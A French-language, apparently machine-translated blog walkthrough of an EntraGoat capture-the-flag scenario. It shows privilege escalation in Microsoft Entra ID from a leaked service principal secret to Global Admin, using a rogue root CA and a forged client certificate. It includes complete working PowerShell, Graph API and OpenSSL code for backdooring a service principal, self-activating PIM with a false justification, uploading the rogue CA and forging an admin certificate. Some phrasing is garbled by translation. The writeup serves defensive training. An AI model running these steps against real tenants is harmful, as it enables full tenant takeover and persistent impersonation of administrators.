Jonathan Elkabas et Tomer Nahum

Note de la rédaction

Ce scénario fait partie d'une série d'exemples démontrant l'utilisation d EntraGoatnotre environnement de simulation Entra ID. Vous pouvez lire un aperçu d'EntraGoat et de sa valeur ici.


Autorité de contournement de certificat - Accès à la racine accordé

Le scénario 6 d'EntraGoat décrit une technique d'escalade des privilèges dans Microsoft Entra ID dans laquelle le joueur commence avec des informations d'identification à faible privilège et obtient l'accès à l'administrateur global en enchaînant des principes de service mal configurés, des rôles d'application trop permissifs et une fonctionnalité légitime d'authentification basée sur un certificat (CBA).

En utilisant des informations d'identification fuitées d'un ancien principal de service, l'attaquant pivote à travers l'identité détenue, abuse des autorisations privilégiées pour modifier les paramètres à l'échelle du locataire, active CBA via un utilisateur éligible à la gestion d'identité privilégiée (PIM) pour les groupes, et télécharge une autorité de certification racine erronée. Il en résulte une usurpation d'identité sans mot de passe et conforme à l'AMF d'un administrateur global, ce qui permet la prise de contrôle complète du locataire et sa persistance.


Vue d'ensemble du chemin d'attaque

  1. L'histoire d'une première prise de contrôle : L'attaquant obtient des identifiants client codés en dur pour un ancien principal de service d'automatisation intégré dans un ancien référentiel PowerShell.
  2. Pivot par la propriété : Il s'avère que l'ancien principal de service est propriétaire d'un autre principal de service. L'utilisation de Application.ReadWrite.OwnedByl'attaquant ouvre une porte dérobée au second principal de service en y ajoutant un secret et des pivots.
  3. Abus de configuration de la part du locataire : Le deuxième directeur de service a Organization.ReadWrite.All (Permission d'accès). Bien qu'elle ne permette pas de gérer des utilisateurs ou des rôles, cette autorisation permet de modifier les configurations à l'échelle du locataire, y compris les paramètres d'authentification.
  4. Activation de l'authentification basée sur un certificat (CBA) via l'affectation PIM basée sur un groupe : Un utilisateur auquel l'attaquant a accès s'avère être éligible à la MIP pour un groupe qui détient le numéro d'identification de l'utilisateur. Authentication Policy Administrator rôle. Après avoir activé l'adhésion, l'attaquant active le CBA dans le locataire.
  5. Établissement de la confiance avec une autorité de certification racine (AC) malveillante : L'attaquant génère et télécharge une autorité de certification racine malveillante vers le locataire, ce qui en fait un fournisseur d'identité de confiance.
  6. Usurpation d'identité de l'administrateur global : Enfin, l'attaquant crée un certificat client pour un compte Global Admin, le signe avec l'autorité de certification racine malveillante et utilise CBA pour s'authentifier, ce qui permet d'obtenir une authentification sans mot de passe, conforme à l'AMF.

Flux d'attaque

La figure 1 illustre le déroulement de cette attaque.

Figure 1. Déroulement du scénario d'attaque "Certificate Bypass Authority-Root Access Granted

Pourquoi les équipes de sécurité doivent-elles comprendre les erreurs de configuration d'Entra ID ?

Cette chaîne d'attaque tire parti à la fois des erreurs de configuration courantes et des modèles de conception fondamentaux d'Entra ID qui sont souvent mal compris ou négligés dans les environnements réels.

  • La dette d'automatisation est réelle. Les principes de service créés pour l'automatisation peuvent rester non gérés après le déploiement. Au fil du temps, cela peut conduire à des permissions excessives et à la propriété d'autres principaux de service, créant ainsi des chaînes de privilèges cachées. En outre, une mauvaise gestion des secrets - comme des identifiants codés en dur dans des scripts - reste souvent en place une fois que "tout fonctionne", ce qui se traduit par des chemins d'accès non surveillés et de longue durée.
  • La propriété d'un principal de service confère des droits de gestion des informations d'identification. De nombreuses organisations ne vérifient pas les chaînes de propriété des principaux services ou n'en réalisent pas les implications.
  • Les autorisations n'existent pas de manière isolée. L'attaque repose sur une combinaison de permissions qui semblent avoir une portée limitée lorsqu'elles sont considérées individuellement. Cependant, lorsqu'elles sont combinées, elles permettent des changements de configuration qui autorisent l'usurpation d'identité privilégiée par le biais de mécanismes d'authentification légitimes :
    • Application.ReadWrite.OwnedBy permet à l'application appelante de gérer ses propres principes de service.
    • Organization.ReadWrite.All accorde la possibilité de modifier les paramètres de configuration à l'échelle de l'organisation.
    • Authentication Policy Administrator (ou Policy.ReadWrite.AuthenticationMethod) permet d'activer et de configurer le CBA.
  • Enfin, l'ACA perce la frontière de confiance du locataire. Une fois configurée, l'autorité de certification externe devient un émetteur d'identité valide pour tout utilisateur du locataire.

REMARQUE : le contexte théorique du modèle d'application d'Entra ID, ainsi que l'authentification basée sur un certificat pour les flux d'authentification interactive des utilisateurs et d'assertion des clients OAuth, ont été couverts dans le Scénario 2 sur le blog. Nous vous recommandons de le consulter d'abord pour une mise en contexte adéquate.


Comment détecter et se défendre contre l'exploitation de l'authentification par certificat ?

Les mauvaises configurations telles que celles exploitées dans ce scénario sont souvent négligées mais peuvent conduire à la compromission totale d'un locataire Entra ID. Pour aider les organisations à identifier les voies d'attaque avant qu'elles ne soient exploitées, solutions Semperis fournissent des indicateurs d'exposition (IOE) et des indicateurs de compromission (IOC) pour détecter et alerter sur les défauts dangereux et les mauvaises configurations, y compris un indicateur pour la persistance de l'authentification basée sur le certificat et des contrôles supplémentaires qui évaluent la posture de sécurité des environnements Entra ID.


Approfondissement du scénario : Présentation de la solution étape par étape

Examinons les étapes de la création d'une autorité de certification racine malveillante qui peut déverrouiller l'ensemble du locataire d'Entra ID.


Étape 1 : Prise d'ancrage initiale avec des identifiants de principal de service codés en dur

Nous commençons par une fuite secrète "trouvée" dans un ancien référentiel PowerShell appartenant à un script d'automatisation obsolète, comme le montre la figure 2.

Figure 2. Une fuite de secret déclenche la mise en place d'un scénario

À l'aide de ces informations d'identification, nous nous authentifions en tant que principal du service, comme le montre la figure 3.

Figure 3. Authentification en tant que principal du service périmé

La validation confirme le succès de l'authentification pour Legacy-Automation-Service. Nous vérifions les autorisations attribuées à l'identité, et une autorisation clé ressort (Figure 4).

Figure 4. Les Application.ReadWrite.OwnedBy permission attribuée à l'identité de l'application

Les Application.ReadWrite.OwnedBy permet à l'application appelante d'effectuer les mêmes opérations que l'application Application.ReadWrite.All à gérer (read/update/delete), mais uniquement sur les objets d'application pour lesquels l'appelant est explicitement répertorié comme propriétaire. Cela permet de mettre en place des scénarios d'automatisation à portée étroite sans exposer la gestion des applications à l'échelle de l'annuaire.

Comme le montre le scénario 1la propriété d'un principal de service permet de gérer les informations d'identification, y compris d'ajouter des secrets de clients. Pour explorer les cibles potentielles, nous énumérons tous les principaux de service du locataire et vérifions lesquels appartiennent à l'identité actuellement authentifiée(figure 5).

Figure 5. Énumération des principaux services dans le locataire Entra ID

La propriété du service principal a été trouvée : DataSync-Production.

Fait amusant : il est impossible de définir un principal de service comme propriétaire d'un autre principal de service via l'interface du portail Azure ou le centre d'administration d'Entra, même si la propriété y est visible(Figure 6). Seules les identités des utilisateurs sont autorisées.

Figure 6. Visualisation de la propriété d'un principal de service dans le centre d'administration d'Entra

Nous avons configuré la propriété du principal de service dans le script d'installation en appelant directement l'API Graph, qui prend en charge cette opération :

      $OwnerParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)"
}
New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams

Étape 2 : Évaluation de la cible pivot

Nous devons maintenant vérifier si le principal de service que nous possédons est un chemin d'escalade de privilèges viable. Nous pouvons réutiliser la simple méthode Get-ServicePrincipalRoles de la fonction Scénario 1 pour énumérer les attributions de rôles dans les répertoires :

      function Get-ServicePrincipalRoles {
    param([object]$ServicePrincipal)
    Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)"
    $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue
    $roles = @()
    
    if ($roleAssignments) {
        foreach ($assignment in $roleAssignments) {
            $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId
            $roles += $roleDefinition
            Write-Host "   Role: $($roleDefinition.DisplayName)" -ForegroundColor Green
        }
    } else {
        Write-Host "   No directory roles assigned"
    }
    return $roles
}

Comme le montre la figure 7 , aucun rôle d'annuaire n'est attribué.

Figure 7. L'énumération initiale ne renvoie aucun rôle d'annuaire

Mais comme nous le savons maintenant, les rôles d'annuaire ne sont pas le seul vecteur avec les principaux services. Qu'en est-il des rôles d'application(figure 8) ?

Figure 8. Enumération des rôles de l'application

Comme dans d'autres scénarios, Directory.Read.All a probablement été accordée pour simplifier la phase d'énumération. Plus intéressant encore, le principal responsable du service dispose également de l'option Organization.ReadWrite.All rôle de l'application. Cette autorisation est souvent négligée, mais elle a un impact important. Bien qu'elle ne permette pas de contrôler les utilisateurs, les groupes ou les rôles, elle permet de modifier les paramètres à l'échelle du locataire, tels que la marque de l'entreprise et les politiques d'authentification. En fait, comme le montre l'excellent blog de recherche SpecterOps Persistance sans mot de passe et escalade des privilèges dans Azure1, cette autorisation est suffisante pour ajouter une nouvelle autorité de certification racine au locataire d'Entra IDqui peut alors signer de faux certificats d'utilisateur pour une ouverture de session basée sur un certificat.

La prochaine étape consiste donc à ajouter un secret de client au principal du service :

      $secretDescription = "Totally-Legit-EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
$passwordCredential = @{
    DisplayName = $secretDescription
    EndDateTime = (Get-Date).AddYears(1)
}

$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential
$dataSyncSecret = $newSecret.SecretText # enregistrer pour plus tard

Étape 3 : Passage au principal de service DataSync-Production

Bien que nous ayons maintenant la possibilité de télécharger une autorité de certification racine "de confiance", nous ne pouvons pas l'utiliser pour l'usurpation d'identité parce que nous ne pouvons pas activer la fonction CBA (Figure 9), qui nécessite soit le Policy.ReadWrite.AuthenticationMethod l'autorisation ou la Authentication Policy Administrator Aucun de ces rôles n'est attribué au DataSync-Production principal de service.

Figure 9. L'ABC est interdite

Après avoir épuisé les options d'énumération sous l'identité de ce suppressif, nous sommes dans une impasse. Pas d'activation de l'ABC.

Mais attendez : Avons-nous examiné ce que notre utilisateur compromis, terence.mckennaa accès à ?


Étape 4 : Se concentrer sur le contexte de l'utilisateur

Terence est-il membre d'un groupe(figure 10)?

Figure 10. Exploration des appartenances possibles de Terence à un groupe

Rien d'autre que le groupe de locataires par défaut.

Existe-t-il une propriété collective(figure 11)?

Figure 11. Exploration de l'appartenance possible de Terence à un groupe

Aucun. Y a-t-il des directeurs de service propriétaires(figure 12)?

Figure 12. Pas de donneurs d'ordre de services appartenant à Terence

Toujours rien. Y a-t-il un MIP éligible pour les affectations de groupe(figure 13)?

Figure 13. Enfin, l'éligibilité du groupe pour Terence

Oui ! Terence est éligible à la Authentication Policy Managers groupe.

Vérifions quels sont les rôles des Authentication Policy Managers est attribué (Figure 14).

Figure 14. Vérification des rôles pour le Authentication Policy Managers groupe

Ce sont des rôles très privilégiés.

  • Application Administrator permet un contrôle total sur toutes les applications du locataire, y compris la possibilité d'ajouter des secrets ou des certificats à n'importe quel principal de service. (Nous avons intentionnellement inclus ce rôle afin de prendre en charge plusieurs voies d'attaque de complexité variable).
  • Authentication Policy AdministratorEn outre, il nous donne la possibilité d'activer l'ACA, c'est-à-dire le contrôle exact qui nous manquait pour progresser dans la chaîne d'attaque.

NOTE : Puisqu'il s'agit (actuellement) du dernier scénario de la série EntraGoat, nous incluons intentionnellement certaines de ces étapes d'énumération sans issue afin d'illustrer le processus de réflexion derrière la découverte de privilèges. L'exploration systématique des principaux services et des identités des utilisateurs est essentielle pour identifier les voies d'escalade viables dans Entra ID.


Étape 5 : Activation de l'affectation PIM

Maintenant que nous avons identifié l'éligibilité à la Authentication Policy Managers nous pouvons activer nous-mêmes l'attribution du MIP à l'aide de l'API graphique :

      $activationBody = @{
    accessId = "member"
    principalId = $currentUser.Id
    groupId = $authGroup.Id
    action = "selfActivate"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("o")
        expiration = @{
            type = "afterDuration"
            duration = "PT8H"
        }
    }
    justification = "Need to configure authentication policies for support tickets"
} 

Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
    -Body $activationBody -ContentType "application/json"

Après un court délai de propagation, nous pouvons revérifier l'appartenance au groupe pour confirmer l'état actif(figure 15).

Figure 15. Confirmation de l'appartenance à un groupe actif

Étape 6 : Activation de l'authentification par certificat

Une fois l'appartenance au groupe activée, nous pouvons activer l'ACA à l'échelle du locataire. Tout d'abord, nous interrogeons l'objet de configuration CBA actuel(Figure 16).

Figure 16. Voilà un joli nom de fonction

Ensuite, nous activons l'ABC en utilisant la charge utile suivante pour la configuration mise à jour :

      $updateParams = @{
    State = "enabled"
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    certificateUserBindings = @(
        @{
            x509CertificateField = "PrincipalName"
            userProperty = "userPrincipalName"
            priority = 1
        }
    )
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor"
        rules = @()
    }
}
   
Update-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration `
    -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams

Et nous vérifions que l'ACA est maintenant activée(figure 17).

Figure 17. CBA activé

NOTE : Ce changement peut aussi être appliqué interactivement à travers le centre d'administration d'Entra :

  • Se connecter à https://entra.microsoft.com en utilisant le compte de Terence
  • Naviguer vers : Entra ID → Méthodes d'authentification → Politiques → Authentification par certificat
  • Basculement de l 'état vers l'activation, comme le montre la figure 18
Figure 18. CBA activé par le centre d'administration d'Entra

En fonction de la politique du locataire, la configuration MFA peut être requise pour Terence lors de la première connexion.


Étape 7 : Téléchargement de l'autorité de certification racine malveillante

Maintenant que l'ACA est activée, nous revenons à l'approche de l'ACA. DataSync-Production et s'authentifier à l'aide du secret client que nous lui avons précédemment ajouté afin d'ajouter une autorité de certification racine aux autorités de certification approuvées du locataire.

      Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred

NOTE : La création, la configuration et le téléchargement d'une autorité de certification racine et d'un certificat client vers Entra ID via CLI est un processus en plusieurs étapes avec plusieurs points d'échec. Entra ID impose un format spécifique pour le champ UPN dans l'extension SAN que PowerShell a du mal à générer avec l'OID requis. Pour éviter ces écueils, nous utilisons OpenSSL pour générer à la fois l'autorité de certification racine et le certificat client.

Nous commençons par mettre en place la structure de l'autorité de certification à l'aide du script suivant :

      $opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe"

$adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName

# Setup CA directory structure
$caWorkspace = "$env:TEMP\EntraGoat-CA"
if (Test-Path $caWorkspace) {
    Set-Location $env:TEMP
    Remove-Item $caWorkspace -Recurse -Force
}
@("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object {
    New-Item -Path $_ -ItemType Directory -Force | Out-Null
}

# Initialize database (as OpenSSL requires specific format)
New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null
"01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline

# Root Certificate Authority configuration
$caConfig = @"
[ ca ]
default_ca = entragoat_ca

[ entragoat_ca ]
dir = ./ca
certs = `$dir
new_certs_dir = `$dir/issued
database = `$dir/index.db
serial = `$dir/serial
RANDFILE = `$dir/.rand
certificate = `$dir/entragoat-root.cer
private_key = `$dir/entragoat-root.key
default_days = 730
default_crl_days = 30
default_md = sha256
preserve = no
policy = trust_no_one_policy

[ trust_no_one_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional

[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# Client certificate configuration with SAN extension
$clientConfig = @"
[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# output configuration to files
$caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII
$clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII

Set-Location $caWorkspace

# Generate root CA private key
& $opensslBinary genrsa -out ca\entragoat-root.key 4096

# Create root certificate for entra trust
& $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US"

Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant

Une fois l'infrastructure de l'autorité de certification malveillante préparée, le contenu du fichier $caWorkspace\ca\ devrait ressembler aux fichiers que Figure 19 montre.

Figure 19. Sortie vers $caWorkspace\ca\

Nous pouvons maintenant télécharger notre certificat racine personnalisé dans la liste des autorités de certification de confiance d'Entra ID :

      # Load the root certificate
$rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer")

$caAuthority = @{
    isRootAuthority = $true
    certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData())
}

# get existing CBA configuration
try {
    $existingConfigs = Invoke-MgGraphRequest -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"
    
    if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) {
        # Update existing config
        $configId = $existingConfigs.value[0].id
        $existingCAs = $existingConfigs.value[0].certificateAuthorities
        
        # Add new CA to existing ones
        $updatedCAs = $existingCAs + @($caAuthority)
        
        $updateBody = @{
            certificateAuthorities = $updatedCAs
        } | ConvertTo-Json -Depth 3
        
        $response = Invoke-MgGraphRequest -Method PATCH `
            -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" `
            -Body $updateBody `
            -ContentType "application/json"
    } else {
        throw "No existing configuration found"
    }
}
catch {
    # Create new CBA configuration
    $body = @{
        certificateAuthorities = @($caAuthority)
    } | ConvertTo-Json -Depth 3
    
    $response = Invoke-MgGraphRequest -Method POST `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" `
        -Body $body `
        -ContentType "application/json"
}

Vérifiez que le téléchargement a réussi et que le certificat est désormais reconnu par le locataire :

      $configs = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"

$uploadSuccess = $false
if ($configs.value -and $configs.value.Count -gt 0) {
    foreach ($ca in $configs.value[0].certificateAuthorities) {
        $certBytes = [Convert]::FromBase64String($ca.certificate)
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes)
        
        if ($cert.Thumbprint -eq $rootCA.Thumbprint) {
            Write-Output "[+] Root CA successfully uploaded to tenant"
            Write-Output "    Thumbprint: $($cert.Thumbprint)"
            Write-Output "    Subject: $($cert.Subject)"
            $uploadSuccess = $true
            break
        }
    }
}

if (-not $uploadSuccess) {
    Write-Output "[-] Failed to verify root CA upload. Please check the configuration." 
}

C'est parfait ! L'autorité de certification racine est maintenant téléchargée(Figure 20).

Figure 20. Confirmation de la réussite du téléchargement de l'autorité de certification racine

Une fois l'autorité de certification acceptée et approuvée, nous pouvons émettre un certificat client pour n'importe quelle identité (y compris l'identité EntraGoat-admin-s6 ) et les signer à l'aide de notre nouvelle autorité de certification racine totalement légitime :

      # Générer la clé privée du certificat client et la demande de signature
& $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN"

# Signer le certificat client avec l'autorité de certification racine
& $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr"

# Convertir au format PFX pour l'installation Windows
& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123 !

Étape 8 : Authentification sans mot de passe à l'AG

Pour compléter le chemin d'escalade des privilèges :

1. Installer le numéro .pfx certificat situé à $caWorkspace sur votre machine locale (Figure 21). Le mot de passe d'importation est EntraGoat123!.

Figure 21. Installation du .pfx certificat

2. Suivez les instructions de l'assistant d'importation de certificat. Après l'installation, confirmez que le certificat apparaît dans certmgr.msc sous Personnel → Certificats, comme Figure 22 montre.

Figure 22. Confirmation de notre certificat racine maléfique

3. Naviguez jusqu'à https://portal.azure.com ou https://entra.microsoft.com/.
4. Saisir l'UPN du EntraGoat-admin-s6 compte.
5. Lorsque vous y êtes invité, sélectionnez le certificat installé (Figure 23).

Figure 23. Sélection du certificat racine diabolique

Étape 9 : Dépannage de la liaison CBA et AMF

Si l'authentification échoue en raison de l'échec de la validation du certificat, cela est probablement dû à une mauvaise configuration des paramètres du certificat ou à des erreurs de formatage SAN/OID.

Toutefois, si vous parvenez à l'invite " Rester connecté " et que vous êtes ensuite redirigé vers " Choisir un moyen de se connecter", cela signifie que.. :

  • Le certificat est valide
  • L'ACA est activée
  • Mais la politique de liaison d'authentification du locataire classe les certificats comme authentification à un seul facteur
  • Les politiques des locataires exigent une authentification multifactorielle pour les accès privilégiés.

Dans ce cas, la valeur par défaut du mode x509CertificateAuthenticationDefaultMode est fixé à un facteur unique x509CertificateSingleFactor et pour cette raison, l'ABC ne satisfait pas à elle seule aux exigences de l'AMF (Figure 24) et ne peut être utilisé pour accéder à des comptes privilégiés.

Figure 24. L'AMF est toujours requise

Pour résoudre ce problème, un Authentication Policy Administrator peut mettre à jour le mode de liaison par défaut en x509CertificateMultiFactorpermettant à l'ABC de répondre aux exigences de l'AMF (Figure 25).

Figure 25. Configuration de la conformité à l'AMF

Nous pouvons définir l'ABC avec le contexte de sécurité de l'utilisateur Terence :

      # Get current config
$current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"

# Check current mode
$current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

# change to MultiFactor if needed
$params = @{
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    id = "X509Certificate"
    certificateUserBindings = $current.certificateUserBindings
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor"
        x509CertificateDefaultRequiredAffinityLevel = "low"
        rules = @()
    }
    includeTargets = $current.includeTargets
    excludeTargets = $current.excludeTargets
    state = "enabled"
    issuerHintsConfiguration = $current.issuerHintsConfiguration
    crlValidationConfiguration = $current.crlValidationConfiguration
    certificateAuthorityScopes = @()
}

# Apply changes
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10)

# Verify change
$updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"
$updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

Alternative (GUI) : Vous pouvez également configurer ceci par le biais du portail d'administration d'Entra(Figure 26). Suivez ce chemin :

Entra ID → Méthodes d'authentification → Politiques → Authentification par certificat → Configurer

Sous Authentication binding, définissez Default authentication strength (force d'authentification par défaut ) sur Multi-factor (facteur multiple).

Figure 26. Configuration de la conformité MFA dans le portail d'administration d'Entra

Avec cette politique en place, le certificat client falsifié peut maintenant être utilisé pour se connecter en tant que EntraGoat-admin-s6Le système de gestion de l'accès à l'Internet est un système sans mot de passe et compatible avec l'AMF, qui complète la chaîne d'attaque et permet à l'administrateur global de récupérer le drapeau à partir de l'interface utilisateur (voir l'encadré ci-dessous).Figure 27).

Figure 27. Drapeau capturé

Une fois le scénario terminé, nous exécutons le script de nettoyage pour rétablir le locataire dans son état d'origine.


Leçon apprise : Les mauvaises configurations ouvrent des voies d'attaque

Ce scénario révèle comment les mauvaises configurations enchaînées à travers les principes de service, les attributions de rôles d'application et les paramètres d'authentification peuvent être utilisées pour compromettre complètement le locataire Entra ID sans jamais interagir avec les mots de passe de l'utilisateur.

Cela commence par une fuite d'informations d'identification d'un principal de service hérité à faible privilège, ce qui est courant dans les cas d'automatisation tentaculaire, et cela s'aggrave en abusant des permissions négligées de Application.ReadWrite.OwnedBy et Organization.ReadWrite.All.

En passant d'un directeur de service à l'autre et en activant une affectation de groupe basée sur PIM, l'attaquant active l'ACA et télécharge une autorité de certification racine malveillante vers le locataire.

Enfin, en émettant un faux certificat client pour le compte Global Admin, en changeant la règle de la politique d'authentification du locataire sur les certificats pour satisfaire les exigences MFA, et en se connectant avec lui via CBA, l'attaquant contourne les mots de passe et le MFA.

Cette voie d'attaque met en évidence des lacunes négligées dans les limites de confiance et l'architecture de l'identité, montrant comment l'identité est devenue le nouveau périmètre, susceptible de faire l'objet de configurations erronées en plusieurs couches et de chaînes de privilèges involontaires.


Découvrez tous les défis d'EntraGoat


Note de bas de page

  1. https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

Clause de non-responsabilité

Ce contenu est fourni à des fins éducatives et informatives uniquement. Il vise à promouvoir la prise de conscience et la remédiation responsable des vulnérabilités de sécurité qui peuvent exister sur les systèmes que vous possédez ou que vous êtes autorisé à tester. L'utilisation non autorisée de ces informations à des fins malveillantes, d'exploitation ou d'accès illégal est strictement interdite. Semperis n'approuve ni ne tolère aucune activité illégale et décline toute responsabilité découlant d'une mauvaise utilisation du matériel. En outre, la Semperis ne garantit pas l'exactitude ou l'exhaustivité du contenu et n'assume aucune responsabilité pour les dommages résultant de son utilisation.